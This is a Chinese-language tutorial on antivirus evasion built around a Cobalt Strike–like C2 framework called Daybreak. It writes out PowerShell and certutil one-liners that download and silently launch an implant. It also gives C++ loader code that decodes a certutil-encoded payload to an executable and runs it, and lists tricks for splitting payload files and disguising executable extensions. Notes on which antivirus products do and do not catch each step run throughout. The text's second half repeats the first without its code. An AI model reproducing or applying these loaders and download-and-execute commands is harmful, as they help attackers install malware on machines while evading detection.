免杀学习-从指令绕过开始(1)
字数 985 2025-08-20 18:17:00

免杀学习-从指令绕过开始(1) 教学文档

1. 破晓工具简介

破晓(Daybreak)是一个类似Cobalt Strike(CS)的C2框架工具,具有以下特点:

  • 采用Web界面控制,简洁美观且自带中文支持
  • 集成多种操作系统上线功能(相比CS需要插件支持Linux上线)
  • 支持通过PowerShell和Certutil指令进行上线操作

2. 基础上线命令分析

2.1 PowerShell上线命令

powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://127.0.0.1:1338/d/pzxsnoqd','pzxsnoqd.exe') && pzxsnoqd.exe agent -u http://127.0.0.1:1338 -s e75tdmwe

2.2 Certutil上线命令

certutil -urlcache -gmt -split -f http://127.0.0.1:1338/d/pzxsnoqd pzxsnoqd.exe && pzxsnoqd.exe agent -u http://127.0.0.1:1338 -s e75tdmwe

注意:破晓的上线操作需要利用探针参数(如示例中的e75tdmwe

3. 初步测试结果

3.1 360环境下测试

  • 静态免杀通过
  • 上线尝试被阻止

3.2 火绒环境下测试

  • 静态云查杀通过
  • 上线尝试被阻止

3.3 文件分析结果

  • VirusTotal检测结果良好
  • VirScan检测结果良好

4. 进阶免杀技术:Certutil加解密

4.1 加密方法

Certutil -encode C+Powershell.exe out.txt

4.2 C语言解密执行代码

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <iostream>
#include <fstream>
using namespace std;

int main()
{
    char automobie[50];
    ofstream outfile;
    // 将解密的内容写入一个文件中
    outfile.open("encryption.txt");
    outfile.setf(ios_base::showpoint);
    outfile << "-----BEGIN CERTIFICATE-----\n"
        // C2文件加密的内容
        "-----END CERTIFICATE-----\n"
            << endl;
    outfile.close();
    // 进行解密
    system("Certutil -decode encryption.txt test.exe");
    // 确保上述代码运行完成
    Sleep(5000);
    system("test.exe C2执行参数");
    return 0;
}

4.3 测试结果

  • 火绒环境:成功产生解密文件和木马文件,但运行时出现告警
  • 360环境:成功上线,快速查杀未检测到

5. 高级技巧

5.1 文件切割与缝合(解决大文件问题)

  1. 使用Certutil加密生成大文本文件
  2. 使用文本切割器(如https://uutool.cn/txt-incise/)按500行一份切割
  3. 使用COPY命令缝合文件:
copy 1.txt+2.txt+...+n.txt out.txt
  1. 解密缝合后的文件:
certutil -decode out.txt test.exe

5.2 Windows文件执行冷知识

Windows命令行执行命令时判断的是文件头而非文件后缀,因此:

  • 可以将exe文件后缀改为jpg等格式仍可执行
  • 但不能直接在C代码中修改后缀后执行(会失败)

测试代码:

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <iostream>
#include <fstream>
using namespace std;

int main()
{
    char automobie[50];
    ofstream outfile;
    outfile.open("encryption.txt");
    outfile.setf(ios_base::showpoint);
    outfile << "-----BEGIN CERTIFICATE-----\n"
    "-----END CERTIFICATE-----\n"
            << endl;
    outfile.close();
    return 0;
}

6. 关键注意事项

  1. 破晓工具需要正确的探针参数才能成功上线
  2. 不同杀毒软件对相同技术的检测结果可能不同(如360和火绒的差异)
  3. 大文件处理时需要考虑切割和缝合技术
  4. Windows执行文件时关注的是文件内容而非后缀名
  5. 直接在代码中修改文件后缀并执行可能失败,需通过命令行操作

7. 总结

本教学文档介绍了从基础到进阶的免杀技术,重点包括:

  • 破晓C2工具的基本使用
  • PowerShell和Certutil的上线方法
  • 利用Certutil加解密的免杀技术
  • 文件切割缝合的高级技巧
  • Windows文件执行的冷知识

这些技术在实际渗透测试中可有效绕过部分杀毒软件的检测,但需注意不同环境下的表现差异。

免杀学习-从指令绕过开始(1) 教学文档 1. 破晓工具简介 破晓(Daybreak)是一个类似Cobalt Strike(CS)的C2框架工具,具有以下特点: 采用Web界面控制,简洁美观且自带中文支持 集成多种操作系统上线功能(相比CS需要插件支持Linux上线) 支持通过PowerShell和Certutil指令进行上线操作 2. 基础上线命令分析 2.1 PowerShell上线命令 2.2 Certutil上线命令 注意 :破晓的上线操作需要利用探针参数(如示例中的 e75tdmwe ) 3. 初步测试结果 3.1 360环境下测试 静态免杀通过 上线尝试被阻止 3.2 火绒环境下测试 静态云查杀通过 上线尝试被阻止 3.3 文件分析结果 VirusTotal检测结果良好 VirScan检测结果良好 4. 进阶免杀技术:Certutil加解密 4.1 加密方法 4.2 C语言解密执行代码 4.3 测试结果 火绒环境 :成功产生解密文件和木马文件,但运行时出现告警 360环境 :成功上线,快速查杀未检测到 5. 高级技巧 5.1 文件切割与缝合(解决大文件问题) 使用Certutil加密生成大文本文件 使用文本切割器(如https://uutool.cn/txt-incise/)按500行一份切割 使用COPY命令缝合文件: 解密缝合后的文件: 5.2 Windows文件执行冷知识 Windows命令行执行命令时判断的是文件头而非文件后缀,因此: 可以将exe文件后缀改为jpg等格式仍可执行 但不能直接在C代码中修改后缀后执行(会失败) 测试代码: 6. 关键注意事项 破晓工具需要正确的探针参数才能成功上线 不同杀毒软件对相同技术的检测结果可能不同(如360和火绒的差异) 大文件处理时需要考虑切割和缝合技术 Windows执行文件时关注的是文件内容而非后缀名 直接在代码中修改文件后缀并执行可能失败,需通过命令行操作 7. 总结 本教学文档介绍了从基础到进阶的免杀技术,重点包括: 破晓C2工具的基本使用 PowerShell和Certutil的上线方法 利用Certutil加解密的免杀技术 文件切割缝合的高级技巧 Windows文件执行的冷知识 这些技术在实际渗透测试中可有效绕过部分杀毒软件的检测,但需注意不同环境下的表现差异。